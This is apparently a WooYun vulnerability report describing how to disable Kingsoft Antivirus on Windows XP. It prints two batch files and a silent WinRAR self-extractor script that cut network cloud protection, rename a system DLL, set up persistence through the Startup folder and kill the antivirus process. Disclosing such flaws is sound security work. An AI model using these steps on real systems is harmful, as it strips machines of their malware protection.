WooYun.org

参测软件：金山毒霸最新官方下载安装包
测试环境：VMware Workstation 10.0.3，Windows XP SP3 Pro，DHCP自动获取IP上网。
测试方法：金山毒霸以默认方式安装，开启和升级所有防护+引擎，重启系统然后运行漏洞测试代码。
安装包数字签名图

防护状态图

漏洞测试视频下载地址http://pan.baidu.com/s/1gdH1jI7，提取码：7pys，解压密码:jspoc123，为了达到最佳观看效果，请解压所有文件到同一目录下，打开jspoc.html文件。
测试代码详细说明：
一、测试主要使用了两个批处理文件，1.bat和2.bat，下面是具体代码：
省略注释；
1.bat：
ipconfig /release #注释：用来释放ip，断开网络，使金山毒霸云防御失效# &shutdown -r -t 00&ren c:\windows\system32\imm32.dll imm32.dl #注释：修改imm32.dll文件名并重启系统# &copy 2.bat c:\"开始"菜单"启动"文件夹路径\2.bat #注释：让2.bat开机自启动#
2.bat:
taskkill /im kxetray.exe /f /t&ren c:\windows\system32\imm32.dl imm32.dll #注释：结束kxetray.exe进程并恢复imm32.dll名称#
二、直接运行1.bat会被金山毒霸拦截，于是用winrar把两个bat文件打包成一个exe可执行自解压文件后成功执行，自解压注释内容是：
;下面的注释包含自解压脚本命令
Path=.\poc
SavePath
Setup=1.bat
TempMode
Silent=1
Overwrite=1
测试总结：
1、简单的ipconfig /release就可以让金山云防护失效。
2、修改系统关键文件本来会触发Windows系统文件保护的提示，这里却被shutdown命令给绕过去了，并且结束了其他很多进程，可以被利用做很多事情。
3、毒霸对注册表添加开机启动项进行了防护却忽略了“开始”菜单里的“启动”文件夹。
4、漏洞测试干掉了毒霸的自我保护，配合自启动执行的结束进程命令，成功干掉了毒霸的整个防御系统。